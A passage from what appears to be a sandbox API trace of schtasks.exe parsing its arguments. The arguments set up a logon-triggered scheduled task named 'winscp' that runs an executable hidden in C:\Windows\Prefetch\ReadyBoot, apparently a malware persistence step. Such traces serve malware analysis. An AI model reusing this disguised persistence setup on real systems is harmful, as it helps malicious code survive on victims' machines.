(dwErrCode=0x0) [0079.472] SetLastError (dwErrCode=0x0) [0079.472] SetLastError (dwErrCode=0x0) [0079.472] lstrlenW (lpString="/tn") returned 3 [0079.472] lstrlenW (lpString="-/") returned 2 [0079.472] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.472] lstrlenW (lpString="?") returned 1 [0079.472] lstrlenW (lpString="?") returned 1 [0079.472] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.472] lstrlenW (lpString="tn") returned 2 [0079.472] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.472] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|?|") returned 3 [0079.472] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.472] lstrlenW (lpString="|?|") returned 3 [0079.472] lstrlenW (lpString="|tn|") returned 4 [0079.472] SetLastError (dwErrCode=0x490) [0079.472] lstrlenW (lpString="create") returned 6 [0079.472] lstrlenW (lpString="create") returned 6 [0079.472] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.472] lstrlenW (lpString="tn") returned 2 [0079.472] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.472] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.472] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.472] lstrlenW (lpString="|create|") returned 8 [0079.473] lstrlenW (lpString="|tn|") returned 4 [0079.473] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0079.473] SetLastError (dwErrCode=0x490) [0079.473] lstrlenW (lpString="delete") returned 6 [0079.473] lstrlenW (lpString="delete") returned 6 [0079.473] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.473] lstrlenW (lpString="tn") returned 2 [0079.473] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.473] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|delete|") returned 8 [0079.473] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.473] lstrlenW (lpString="|delete|") returned 8 [0079.473] lstrlenW (lpString="|tn|") returned 4 [0079.473] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0079.473] SetLastError (dwErrCode=0x490) [0079.473] lstrlenW (lpString="query") returned 5 [0079.473] lstrlenW (lpString="query") returned 5 [0079.473] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.473] lstrlenW (lpString="tn") returned 2 [0079.473] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.473] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|query|") returned 7 [0079.473] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.473] lstrlenW (lpString="|query|") returned 7 [0079.473] lstrlenW (lpString="|tn|") returned 4 [0079.473] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0079.473] SetLastError (dwErrCode=0x490) [0079.473] lstrlenW (lpString="change") returned 6 [0079.473] lstrlenW (lpString="change") returned 6 [0079.473] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.473] lstrlenW (lpString="tn") returned 2 [0079.473] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.474] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|change|") returned 8 [0079.474] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.474] lstrlenW (lpString="|change|") returned 8 [0079.474] lstrlenW (lpString="|tn|") returned 4 [0079.474] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0079.474] SetLastError (dwErrCode=0x490) [0079.474] lstrlenW (lpString="run") returned 3 [0079.474] lstrlenW (lpString="run") returned 3 [0079.474] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.474] lstrlenW (lpString="tn") returned 2 [0079.474] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.474] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|run|") returned 5 [0079.474] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.474] lstrlenW (lpString="|run|") returned 5 [0079.474] lstrlenW (lpString="|tn|") returned 4 [0079.474] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0079.493] SetLastError (dwErrCode=0x490) [0079.494] lstrlenW (lpString="end") returned 3 [0079.494] lstrlenW (lpString="end") returned 3 [0079.494] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.494] lstrlenW (lpString="tn") returned 2 [0079.494] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.494] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|end|") returned 5 [0079.494] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.494] lstrlenW (lpString="|end|") returned 5 [0079.494] lstrlenW (lpString="|tn|") returned 4 [0079.494] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0079.494] SetLastError (dwErrCode=0x490) [0079.494] lstrlenW (lpString="showsid") returned 7 [0079.494] lstrlenW (lpString="showsid") returned 7 [0079.494] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.494] GetProcessHeap () returned 0x2b0000 [0079.494] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc380) returned 1 [0079.494] GetProcessHeap () returned 0x2b0000 [0079.494] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cc380, Size=0x16) returned 0x2cc380 [0079.494] lstrlenW (lpString="tn") returned 2 [0079.494] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.494] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|showsid|") returned 9 [0079.494] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tn|") returned 4 [0079.494] lstrlenW (lpString="|showsid|") returned 9 [0079.494] lstrlenW (lpString="|tn|") returned 4 [0079.494] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0079.494] SetLastError (dwErrCode=0x490) [0079.494] SetLastError (dwErrCode=0x490) [0079.494] SetLastError (dwErrCode=0x0) [0079.495] lstrlenW (lpString="/tn") returned 3 [0079.495] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0079.495] SetLastError (dwErrCode=0x490) [0079.495] SetLastError (dwErrCode=0x0) [0079.495] lstrlenW (lpString="/tn") returned 3 [0079.495] GetProcessHeap () returned 0x2b0000 [0079.495] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc320 [0079.495] GetProcessHeap () returned 0x2b0000 [0079.495] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd50 [0079.495] SetLastError (dwErrCode=0x0) [0079.495] SetLastError (dwErrCode=0x0) [0079.495] lstrlenW (lpString="winscp") returned 6 [0079.495] lstrlenW (lpString="-/") returned 2 [0079.495] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0079.495] SetLastError (dwErrCode=0x490) [0079.495] SetLastError (dwErrCode=0x490) [0079.495] SetLastError (dwErrCode=0x0) [0079.495] lstrlenW (lpString="winscp") returned 6 [0079.495] StrChrIW (lpStart="winscp", wMatch=0x3a) returned 0x0 [0079.495] SetLastError (dwErrCode=0x490) [0079.495] SetLastError (dwErrCode=0x0) [0079.495] lstrlenW (lpString="winscp") returned 6 [0079.495] GetProcessHeap () returned 0x2b0000 [0079.495] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cc3b0 [0079.495] GetProcessHeap () returned 0x2b0000 [0079.495] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd80 [0079.495] SetLastError (dwErrCode=0x0) [0079.495] SetLastError (dwErrCode=0x0) [0079.495] lstrlenW (lpString="/sc") returned 3 [0079.495] lstrlenW (lpString="-/") returned 2 [0079.495] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.495] lstrlenW (lpString="?") returned 1 [0079.495] lstrlenW (lpString="?") returned 1 [0079.495] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.495] lstrlenW (lpString="sc") returned 2 [0079.496] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.496] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|?|") returned 3 [0079.496] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.496] lstrlenW (lpString="|?|") returned 3 [0079.496] lstrlenW (lpString="|sc|") returned 4 [0079.496] SetLastError (dwErrCode=0x490) [0079.496] lstrlenW (lpString="create") returned 6 [0079.496] lstrlenW (lpString="create") returned 6 [0079.496] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.496] lstrlenW (lpString="sc") returned 2 [0079.496] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.496] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.496] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.496] lstrlenW (lpString="|create|") returned 8 [0079.496] lstrlenW (lpString="|sc|") returned 4 [0079.496] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0079.496] SetLastError (dwErrCode=0x490) [0079.496] lstrlenW (lpString="delete") returned 6 [0079.496] lstrlenW (lpString="delete") returned 6 [0079.496] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.496] lstrlenW (lpString="sc") returned 2 [0079.496] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.496] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|delete|") returned 8 [0079.496] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.496] lstrlenW (lpString="|delete|") returned 8 [0079.496] lstrlenW (lpString="|sc|") returned 4 [0079.496] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0079.496] SetLastError (dwErrCode=0x490) [0079.496] lstrlenW (lpString="query") returned 5 [0079.496] lstrlenW (lpString="query") returned 5 [0079.497] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.497] lstrlenW (lpString="sc") returned 2 [0079.497] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.497] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|query|") returned 7 [0079.497] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.497] lstrlenW (lpString="|query|") returned 7 [0079.497] lstrlenW (lpString="|sc|") returned 4 [0079.497] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0079.497] SetLastError (dwErrCode=0x490) [0079.497] lstrlenW (lpString="change") returned 6 [0079.497] lstrlenW (lpString="change") returned 6 [0079.497] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.497] lstrlenW (lpString="sc") returned 2 [0079.497] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.497] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|change|") returned 8 [0079.497] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.497] lstrlenW (lpString="|change|") returned 8 [0079.497] lstrlenW (lpString="|sc|") returned 4 [0079.497] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0079.497] SetLastError (dwErrCode=0x490) [0079.497] lstrlenW (lpString="run") returned 3 [0079.497] lstrlenW (lpString="run") returned 3 [0079.497] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.497] lstrlenW (lpString="sc") returned 2 [0079.497] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.497] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|run|") returned 5 [0079.497] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.497] lstrlenW (lpString="|run|") returned 5 [0079.497] lstrlenW (lpString="|sc|") returned 4 [0079.498] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0079.498] SetLastError (dwErrCode=0x490) [0079.498] lstrlenW (lpString="end") returned 3 [0079.498] lstrlenW (lpString="end") returned 3 [0079.498] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.498] lstrlenW (lpString="sc") returned 2 [0079.498] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.498] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|end|") returned 5 [0079.498] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.498] lstrlenW (lpString="|end|") returned 5 [0079.498] lstrlenW (lpString="|sc|") returned 4 [0079.498] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0079.498] SetLastError (dwErrCode=0x490) [0079.498] lstrlenW (lpString="showsid") returned 7 [0079.498] lstrlenW (lpString="showsid") returned 7 [0079.498] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.498] lstrlenW (lpString="sc") returned 2 [0079.498] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.498] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|showsid|") returned 9 [0079.498] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|sc|") returned 4 [0079.498] lstrlenW (lpString="|showsid|") returned 9 [0079.498] lstrlenW (lpString="|sc|") returned 4 [0079.498] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0079.498] SetLastError (dwErrCode=0x490) [0079.498] SetLastError (dwErrCode=0x490) [0079.498] SetLastError (dwErrCode=0x0) [0079.498] lstrlenW (lpString="/sc") returned 3 [0079.498] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0079.498] SetLastError (dwErrCode=0x490) [0079.498] SetLastError (dwErrCode=0x0) [0079.498] lstrlenW (lpString="/sc") returned 3 [0079.498] GetProcessHeap () returned 0x2b0000 [0079.499] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc3d0 [0079.499] GetProcessHeap () returned 0x2b0000 [0079.499] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccdb0 [0079.499] SetLastError (dwErrCode=0x0) [0079.499] SetLastError (dwErrCode=0x0) [0079.499] lstrlenW (lpString="ONLOGON") returned 7 [0079.499] lstrlenW (lpString="-/") returned 2 [0079.499] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0079.499] SetLastError (dwErrCode=0x490) [0079.499] SetLastError (dwErrCode=0x490) [0079.499] SetLastError (dwErrCode=0x0) [0079.499] lstrlenW (lpString="ONLOGON") returned 7 [0079.499] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0079.499] SetLastError (dwErrCode=0x490) [0079.499] SetLastError (dwErrCode=0x0) [0079.499] lstrlenW (lpString="ONLOGON") returned 7 [0079.499] GetProcessHeap () returned 0x2b0000 [0079.499] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x10) returned 0x2cc3f0 [0079.499] GetProcessHeap () returned 0x2b0000 [0079.499] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccde0 [0079.499] SetLastError (dwErrCode=0x0) [0079.499] SetLastError (dwErrCode=0x0) [0079.499] lstrlenW (lpString="/tr") returned 3 [0079.499] lstrlenW (lpString="-/") returned 2 [0079.499] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.499] lstrlenW (lpString="?") returned 1 [0079.499] lstrlenW (lpString="?") returned 1 [0079.499] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.499] lstrlenW (lpString="tr") returned 2 [0079.499] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.499] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|?|") returned 3 [0079.499] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.499] lstrlenW (lpString="|?|") returned 3 [0079.500] lstrlenW (lpString="|tr|") returned 4 [0079.500] SetLastError (dwErrCode=0x490) [0079.500] lstrlenW (lpString="create") returned 6 [0079.500] lstrlenW (lpString="create") returned 6 [0079.500] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.500] lstrlenW (lpString="tr") returned 2 [0079.500] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.500] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.500] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.500] lstrlenW (lpString="|create|") returned 8 [0079.500] lstrlenW (lpString="|tr|") returned 4 [0079.500] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0079.500] SetLastError (dwErrCode=0x490) [0079.500] lstrlenW (lpString="delete") returned 6 [0079.500] lstrlenW (lpString="delete") returned 6 [0079.500] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.500] lstrlenW (lpString="tr") returned 2 [0079.500] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.500] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|delete|") returned 8 [0079.500] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.500] lstrlenW (lpString="|delete|") returned 8 [0079.500] lstrlenW (lpString="|tr|") returned 4 [0079.500] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0079.500] SetLastError (dwErrCode=0x490) [0079.500] lstrlenW (lpString="query") returned 5 [0079.500] lstrlenW (lpString="query") returned 5 [0079.500] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.500] lstrlenW (lpString="tr") returned 2 [0079.500] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.500] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|query|") returned 7 [0079.501] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.501] lstrlenW (lpString="|query|") returned 7 [0079.501] lstrlenW (lpString="|tr|") returned 4 [0079.501] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0079.501] SetLastError (dwErrCode=0x490) [0079.501] lstrlenW (lpString="change") returned 6 [0079.501] lstrlenW (lpString="change") returned 6 [0079.501] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.501] lstrlenW (lpString="tr") returned 2 [0079.501] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.501] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|change|") returned 8 [0079.501] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.501] lstrlenW (lpString="|change|") returned 8 [0079.501] lstrlenW (lpString="|tr|") returned 4 [0079.501] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0079.501] SetLastError (dwErrCode=0x490) [0079.501] lstrlenW (lpString="run") returned 3 [0079.501] lstrlenW (lpString="run") returned 3 [0079.501] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.501] lstrlenW (lpString="tr") returned 2 [0079.501] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.501] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|run|") returned 5 [0079.501] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.501] lstrlenW (lpString="|run|") returned 5 [0079.501] lstrlenW (lpString="|tr|") returned 4 [0079.501] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0079.501] SetLastError (dwErrCode=0x490) [0079.501] lstrlenW (lpString="end") returned 3 [0079.501] lstrlenW (lpString="end") returned 3 [0079.501] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.502] lstrlenW (lpString="tr") returned 2 [0079.502] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.502] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|end|") returned 5 [0079.502] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.502] lstrlenW (lpString="|end|") returned 5 [0079.502] lstrlenW (lpString="|tr|") returned 4 [0079.502] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0079.502] SetLastError (dwErrCode=0x490) [0079.502] lstrlenW (lpString="showsid") returned 7 [0079.502] lstrlenW (lpString="showsid") returned 7 [0079.502] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.502] lstrlenW (lpString="tr") returned 2 [0079.502] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.502] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|showsid|") returned 9 [0079.502] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|tr|") returned 4 [0079.502] lstrlenW (lpString="|showsid|") returned 9 [0079.502] lstrlenW (lpString="|tr|") returned 4 [0079.502] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0079.502] SetLastError (dwErrCode=0x490) [0079.502] SetLastError (dwErrCode=0x490) [0079.502] SetLastError (dwErrCode=0x0) [0079.502] lstrlenW (lpString="/tr") returned 3 [0079.502] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0079.502] SetLastError (dwErrCode=0x490) [0079.502] SetLastError (dwErrCode=0x0) [0079.502] lstrlenW (lpString="/tr") returned 3 [0079.502] GetProcessHeap () returned 0x2b0000 [0079.502] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc410 [0079.502] GetProcessHeap () returned 0x2b0000 [0079.502] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cce10 [0079.502] SetLastError (dwErrCode=0x0) [0079.502] SetLastError (dwErrCode=0x0) [0079.503] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.503] lstrlenW (lpString="-/") returned 2 [0079.503] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0079.503] SetLastError (dwErrCode=0x490) [0079.503] SetLastError (dwErrCode=0x490) [0079.503] SetLastError (dwErrCode=0x0) [0079.503] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.503] StrChrIW (lpStart="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'", wMatch=0x3a) returned=":\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'" [0079.503] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.503] GetProcessHeap () returned 0x2b0000 [0079.503] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cc430 [0079.503] _memicmp (_Buf1=0x2cc430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.503] GetProcessHeap () returned 0x2b0000 [0079.503] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cc450 [0079.503] GetProcessHeap () returned 0x2b0000 [0079.503] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd640 [0079.503] _memicmp (_Buf1=0x2cd640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.503] GetProcessHeap () returned 0x2b0000 [0079.503] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x58) returned 0x2cde10 [0079.503] SetLastError (dwErrCode=0x7a) [0079.503] SetLastError (dwErrCode=0x0) [0079.503] SetLastError (dwErrCode=0x0) [0079.503] lstrlenW (lpString="'C") returned 2 [0079.503] lstrlenW (lpString="-/") returned 2 [0079.503] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0079.503] SetLastError (dwErrCode=0x490) [0079.503] SetLastError (dwErrCode=0x490) [0079.503] SetLastError (dwErrCode=0x0) [0079.503] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0079.503] GetProcessHeap () returned 0x2b0000 [0079.504] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x56) returned 0x2cde70 [0079.504] GetProcessHeap () returned 0x2b0000 [0079.504] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cce40 [0079.504] SetLastError (dwErrCode=0x0) [0079.504] SetLastError (dwErrCode=0x0) [0079.504] lstrlenW (lpString="/rl") returned 3 [0079.504] lstrlenW (lpString="-/") returned 2 [0079.504] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.504] lstrlenW (lpString="?") returned 1 [0079.504] lstrlenW (lpString="?") returned 1 [0079.504] _memicmp 